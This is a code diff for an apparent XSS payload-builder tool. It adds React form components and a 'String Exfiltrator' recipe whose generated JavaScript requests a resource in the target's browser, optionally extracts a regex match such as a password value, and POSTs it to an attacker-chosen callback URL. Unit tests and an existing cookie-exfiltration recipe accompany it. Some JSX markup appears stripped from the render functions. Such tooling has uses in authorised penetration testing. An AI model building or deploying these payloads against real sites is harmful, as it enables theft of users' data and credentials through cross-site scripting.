diff --git a/components/RecipeCheckBox/RecipeCheckBox.jsx b/components/RecipeCheckBox/RecipeCheckBox.jsx new file mode 100644 index 0000000..dd6dd01 --- /dev/null +++ b/components/RecipeCheckBox/RecipeCheckBox.jsx @@ -0,0 +1,38 @@ +import React from 'react' + +class RecipeCheckBox extends React.Component { + constructor (props) { + super(props) + + this.setRecipeProperty = this.setRecipeProperty.bind(this) + } + + setRecipeProperty (e) { + this.props.setRecipeProperty( + this.props.instance.id, + this.props.bindTo, + e.target.checked + ) + } + + render () { + const inputId = `${this.props.instance.id}-${this.props.bindTo}` + return ( +
+ + +
+ ) + } +} + +export default RecipeCheckBox diff --git a/components/RecipeCheckBox/RecipeCheckBox.spec.jsx b/components/RecipeCheckBox/RecipeCheckBox.spec.jsx new file mode 100644 index 0000000..cddbd3e --- /dev/null +++ b/components/RecipeCheckBox/RecipeCheckBox.spec.jsx @@ -0,0 +1,77 @@ +import React from 'react' +import RecipeCheckBox from './RecipeCheckBox' +import { shallow } from 'enzyme' + +describe('', () => { + const setRecipeProperty = jest.fn() + const instance = { + id: 'instance_id', + dummy: true + } + + const createWrapper = () => { + setRecipeProperty.mockReset() + + return shallow( + + ) + } + + it('should not render children', () => { + const wrapper = shallow( + +
+
+ ) + + expect(wrapper.find('div.test')).toHaveLength(0) + }) + + it('should render a check box field bound to the specified property', () => { + const wrapper = createWrapper() + const field = wrapper.find('input[type="checkbox"]') + expect(field).toHaveLength(1) + expect(field.props().checked).toBe(true) + }) + + it('should create a unique ID for the field', () => { + const wrapper = createWrapper() + const field = wrapper.find('input[type="checkbox"]') + expect(field).toHaveLength(1) + expect(field.props().id).toBe('instance_id-dummy') + }) + + it('should render a label for the field', () => { + const wrapper = createWrapper() + const field = wrapper.find('input[type="checkbox"]') + const label = wrapper.find('label') + + expect(label).toHaveLength(1) + expect(label.props().htmlFor).toBe(field.props().id) + expect(label.text()).toBe('Dummy Label') + }) + + describe('when the input is changed', () => { + it('should invoke `props.setRecipeProperty`', () => { + const wrapper = createWrapper() + const field = wrapper.find('input[type="checkbox"]') + + field.simulate('change', { + target: { + checked: true + } + }) + + expect(setRecipeProperty).toHaveBeenCalledWith( + 'instance_id', + 'dummy', + true + ) + }) + }) +}) diff --git a/components/RecipeCheckBox/index.jsx b/components/RecipeCheckBox/index.jsx new file mode 100644 index 0000000..92503a1 --- /dev/null +++ b/components/RecipeCheckBox/index.jsx @@ -0,0 +1,2 @@ +import RecipeCheckBox from './RecipeCheckBox' +export default RecipeCheckBox diff --git a/components/RecipeCheckBox/index.spec.jsx b/components/RecipeCheckBox/index.spec.jsx new file mode 100644 index 0000000..e3132ec --- /dev/null +++ b/components/RecipeCheckBox/index.spec.jsx @@ -0,0 +1,6 @@ +import DefaultExport from './' +import RecipeCheckBox from './RecipeCheckBox' + +it('should export the RecipeCheckBox class as the default export', () => { + expect(DefaultExport).toBe(RecipeCheckBox) +}) diff --git a/components/RecipeTextField/RecipeTextField.jsx b/components/RecipeTextField/RecipeTextField.jsx new file mode 100644 index 0000000..6e54c5d --- /dev/null +++ b/components/RecipeTextField/RecipeTextField.jsx @@ -0,0 +1,35 @@ +import React from 'react' + +class RecipeTextField extends React.Component { + constructor (props) { + super(props) + + this.setRecipeProperty = this.setRecipeProperty.bind(this) + } + + setRecipeProperty (e) { + this.props.setRecipeProperty( + this.props.instance.id, + this.props.bindTo, + e.target.value + ) + } + + render () { + const inputId = `${this.props.instance.id}-${this.props.bindTo}` + return ( +
+ + +
+ ) + } +} + +export default RecipeTextField diff --git a/components/RecipeTextField/RecipeTextField.spec.jsx b/components/RecipeTextField/RecipeTextField.spec.jsx new file mode 100644 index 0000000..e3b12da --- /dev/null +++ b/components/RecipeTextField/RecipeTextField.spec.jsx @@ -0,0 +1,85 @@ +import React from 'react' +import RecipeTextField from './RecipeTextField' +import { shallow } from 'enzyme' + +describe('', () => { + const setRecipeProperty = jest.fn() + const instance = { + id: 'instance_id', + dummy: 'test' + } + + const createWrapper = () => { + setRecipeProperty.mockReset() + + return shallow( + + ) + } + + it('should not render children', () => { + const wrapper = shallow( + +
+
+ ) + + expect(wrapper.find('div.test')).toHaveLength(0) + }) + + it('should render a text field bound to the specified property', () => { + const wrapper = createWrapper() + const textField = wrapper.find('input[type="text"]') + expect(textField).toHaveLength(1) + expect(textField.props().value).toBe('test') + }) + + it('should set the placeholder of the text field', () => { + const wrapper = createWrapper() + const textField = wrapper.find('input[type="text"]') + expect(textField).toHaveLength(1) + expect(textField.props().placeholder).toBe('Dummy Placeholder') + }) + + it('should create a unique ID for the text field', () => { + const wrapper = createWrapper() + const textField = wrapper.find('input[type="text"]') + expect(textField).toHaveLength(1) + expect(textField.props().id).toBe('instance_id-dummy') + }) + + it('should render a label for the text field', () => { + const wrapper = createWrapper() + const textField = wrapper.find('input[type="text"]') + const label = wrapper.find('label') + + expect(label).toHaveLength(1) + expect(label.props().htmlFor).toBe(textField.props().id) + expect(label.text()).toBe('Dummy Label') + }) + + describe('when the input is changed', () => { + it('should invoke `props.setRecipeProperty`', () => { + const wrapper = createWrapper() + const textField = wrapper.find('input[type="text"]') + + textField.simulate('change', { + target: { + value: 'new value' + } + }) + + expect(setRecipeProperty).toHaveBeenCalledWith( + 'instance_id', + 'dummy', + 'new value' + ) + }) + }) +}) diff --git a/components/RecipeTextField/index.jsx b/components/RecipeTextField/index.jsx new file mode 100644 index 0000000..4fee58b --- /dev/null +++ b/components/RecipeTextField/index.jsx @@ -0,0 +1,2 @@ +import RecipeTextField from './RecipeTextField' +export default RecipeTextField diff --git a/components/RecipeTextField/index.spec.jsx b/components/RecipeTextField/index.spec.jsx new file mode 100644 index 0000000..5d646b0 --- /dev/null +++ b/components/RecipeTextField/index.spec.jsx @@ -0,0 +1,6 @@ +import DefaultExport from './' +import RecipeTextField from './RecipeTextField' + +it('should export the RecipeTextField class as the default export', () => { + expect(DefaultExport).toBe(RecipeTextField) +}) diff --git a/recipes/StringExfiltrator/StringExfiltrator.jsx b/recipes/StringExfiltrator/StringExfiltrator.jsx new file mode 100644 index 0000000..5e04a08 --- /dev/null +++ b/recipes/StringExfiltrator/StringExfiltrator.jsx @@ -0,0 +1,88 @@ +import React from 'react' +import RecipeTextField from '~/components/RecipeTextField' +import RecipeCheckBox from '~/components/RecipeCheckBox' + +export function cook (instance, vars) { + const callbackName = `${instance.id}_cb` + const dataName = `${instance.id}_data` + + let dataSelection = `var ${dataName} = xhr.response` + if (instance.pattern) { + dataSelection = `var ${dataName} = xhr.response.match(new RegExp('${instance.pattern.replace(/'/g, "\\'")}'))[0]` + } + + let callbackBody = `var ${callbackName} = function () { }` + if (instance.waitForResponse) { + callbackBody = `var ${callbackName} = function () { __XSS_CHEF_ENTRY_POINT__ }` + } + + const payload = [ + `ajaxRequest('GET', '${instance.resource}', undefined, function (xhr) {`, + dataSelection, + callbackBody, + `ajaxRequest('POST', '${instance.callbackUrl}', 'data=' + encodeURIComponent(${dataName}), ${callbackName})`, + `})`, + instance.waitForResponse ? '' : '__XSS_CHEF_ENTRY_POINT__' + ].join('\n') + + return { + payload: vars.payload.replace(/__XSS_CHEF_ENTRY_POINT__/g, payload) + } +} + +export function init () { + return { + callbackUrl: '', + resource: '', + waitForResponse: true + } +} + +export function render (instance, setRecipeProperty) { + return ( +
+ + + + + + + +
+ ) +} + +export function validate (instance) { + if (instance.callbackUrl === '') { + return false + } + + if (instance.resource === '') { + return false + } + + return true +} diff --git a/recipes/StringExfiltrator/StringExfiltrator.spec.jsx b/recipes/StringExfiltrator/StringExfiltrator.spec.jsx new file mode 100644 index 0000000..8d9d134 --- /dev/null +++ b/recipes/StringExfiltrator/StringExfiltrator.spec.jsx @@ -0,0 +1,194 @@ +import { cook, init, render, validate } from './StringExfiltrator' +import { shallow } from 'enzyme' + +describe('StringExfiltrator', () => { + describe('.cook', () => { + const createSubject = (opts = {}) => cook({ + id: 'instance_id', + resource: 'http://127.0.0.1/secret.php', + callbackUrl: 'http://127.0.0.1/process', + pattern: opts.pattern, + waitForResponse: opts.waitForResponse + }, { + payload: '__XSS_CHEF_ENTRY_POINT__' + }).payload + + it('should use the AjaxRequest module to download the specified resource', () => { + const payload = createSubject() + + expect(payload).toEqual( + expect.stringContaining( + `ajaxRequest('GET', 'http://127.0.0.1/secret.php', undefined, function (xhr) {` + ) + ) + + expect(payload).toEqual( + expect.stringContaining( + `var instance_id_data = xhr.response` + ) + ) + }) + + it('should use the AjaxRequest module to exfiltrate the data', () => { + const payload = createSubject() + + expect(payload).toEqual( + expect.stringContaining( + `ajaxRequest('POST', 'http://127.0.0.1/process', 'data=' + encodeURIComponent(instance_id_data), instance_id_cb)` + ) + ) + }) + + describe('if a pattern is specified', () => { + it('should override the data to be exfiltrated with the result of the regex match', () => { + const payload = createSubject({ + pattern: `value="escape 'this'"` + }) + + expect(payload).toEqual( + expect.stringContaining( + `var instance_id_data = xhr.response.match(new RegExp('value="escape \\'this\\'"'))[0]` + ) + ) + }) + }) + + describe('if the "wait for request to finish" option is enabled', () => { + it('should place the next entry point in the exfiltration callback', () => { + const payload = createSubject({ + waitForResponse: true + }) + + expect(payload).toEqual( + expect.stringContaining( + `var instance_id_cb = function () { __XSS_CHEF_ENTRY_POINT__ }` + ) + ) + + expect(payload).not.toMatch(/__XSS_CHEF_ENTRY_POINT__$/) + }) + }) + + describe('if the "wait for request to finish" option is not enabled', () => { + it('should place the next entry point at the end of the script', () => { + const payload = createSubject({ + waitForResponse: false + }) + + expect(payload).toEqual( + expect.stringContaining( + `var instance_id_cb = function () { }` + ) + ) + + expect(payload).toMatch(/__XSS_CHEF_ENTRY_POINT__$/) + }) + }) + }) + + describe('.init', () => { + it('should define {callbackUrl}', () => { + expect(init().callbackUrl).toBeDefined() + }) + + it('should define {resource}', () => { + expect(init().resource).toBeDefined() + }) + + it('should default {waitForResponse} to `true`', () => { + expect(init().waitForResponse).toBe(true) + }) + }) + + describe('.render', () => { + const setRecipeProperty = jest.fn() + const instance = { + id: 'instance_id', + callbackUrl: 'callback URL' + } + + it('should render a RecipeTextField for the callback URL`', () => { + const wrapper = shallow(render(instance, setRecipeProperty)) + const textField = wrapper.find('RecipeTextField[bindTo="callbackUrl"]') + expect(textField).toHaveLength(1) + expect(textField.props()).toEqual({ + bindTo: 'callbackUrl', + instance: instance, + label: 'Callback URL', + placeholder: 'Example: http://your.domain.com/logData', + setRecipeProperty: setRecipeProperty + }) + }) + + it('should render a RecipeTextField for the pattern`', () => { + const wrapper = shallow(render(instance, setRecipeProperty)) + const textField = wrapper.find('RecipeTextField[bindTo="pattern"]') + expect(textField).toHaveLength(1) + expect(textField.props()).toEqual({ + bindTo: 'pattern', + instance: instance, + label: 'Pattern to Match', + placeholder: 'Example: password="[a-zA-z0-9]+?"', + setRecipeProperty: setRecipeProperty + }) + }) + + it('should render a RecipeTextField for the resource path`', () => { + const wrapper = shallow(render(instance, setRecipeProperty)) + const textField = wrapper.find('RecipeTextField[bindTo="resource"]') + expect(textField).toHaveLength(1) + expect(textField.props()).toEqual({ + bindTo: 'resource', + instance: instance, + label: 'Resource', + placeholder: 'Example: /secret.php', + setRecipeProperty: setRecipeProperty + }) + }) + + it('should render a checkbox bound to `instance.waitForResponse`', () => { + const wrapper = shallow(render(instance, setRecipeProperty)) + const field = wrapper.find('RecipeCheckBox[bindTo="waitForResponse"]') + expect(field).toHaveLength(1) + expect(field.props()).toEqual({ + bindTo: 'waitForResponse', + instance: instance, + label: 'Halt next operation until response is received', + setRecipeProperty: setRecipeProperty + }) + }) + }) + + describe('.validate', () => { + describe('if `instance.callbackUrl` is empty', () => { + it('should return false', () => { + const valid = validate({ + callbackUrl: '', + resource: '/' + }) + expect(valid).toBe(false) + }) + }) + + describe('if `instance.resource` is empty', () => { + it('should return false', () => { + const valid = validate({ + callbackUrl: 'http://127.0.0.1', + resource: '' + }) + expect(valid).toBe(false) + }) + }) + + describe('if all checks pass', () => { + it('should return true', () => { + const valid = validate({ + callbackUrl: 'http://127.0.0.1', + resource: '/' + }) + + expect(valid).toBe(true) + }) + }) + }) +}) diff --git a/recipes/StringExfiltrator/index.jsx b/recipes/StringExfiltrator/index.jsx new file mode 100644 index 0000000..39dcdab --- /dev/null +++ b/recipes/StringExfiltrator/index.jsx @@ -0,0 +1,11 @@ +import { cook, render, validate, init } from './StringExfiltrator' + +export default { + title: 'String Exfiltrator', + description: 'Request a resource from the target\'s browser and exfiltrate the data', + cook: cook, + render: render, + validate: validate, + init: init, + dependencies: ['AjaxRequest'] +} diff --git a/recipes/StringExfiltrator/index.spec.jsx b/recipes/StringExfiltrator/index.spec.jsx new file mode 100644 index 0000000..db0ffb0 --- /dev/null +++ b/recipes/StringExfiltrator/index.spec.jsx @@ -0,0 +1,36 @@ +import StringExfiltrator from './index' + +describe('Default export', () => { + it('should have a title', () => { + expect(StringExfiltrator.title).toEqual('String Exfiltrator') + }) + + it('should have a description', () => { + expect(StringExfiltrator.description).toBeDefined() + }) + + it('should contain a `cook` function', () => { + expect(StringExfiltrator.cook).toBeDefined() + expect(typeof StringExfiltrator.cook).toBe('function') + }) + + it('should contain a `render` function', () => { + expect(StringExfiltrator.render).toBeDefined() + expect(typeof StringExfiltrator.render).toBe('function') + }) + + it('should contain a `validate` function', () => { + expect(StringExfiltrator.validate).toBeDefined() + expect(typeof StringExfiltrator.validate).toBe('function') + }) + + it('should contain a `init` function', () => { + expect(StringExfiltrator.init).toBeDefined() + expect(typeof StringExfiltrator.init).toBe('function') + }) + + it('should declare AjaxRequest as a dependency', () => { + expect(StringExfiltrator.dependencies).toBeDefined() + expect(StringExfiltrator.dependencies).toContain('AjaxRequest') + }) +}) diff --git a/recipes/index.jsx b/recipes/index.jsx index 146cd89..05e0be4 100644 --- a/recipes/index.jsx +++ b/recipes/index.jsx @@ -1,7 +1,9 @@ import CookieExfiltrator from './CookieExfiltrator' import DecimalEncoder from './DecimalEncoder' +import StringExfiltrator from './StringExfiltrator' export { CookieExfiltrator, - DecimalEncoder + DecimalEncoder, + StringExfiltrator }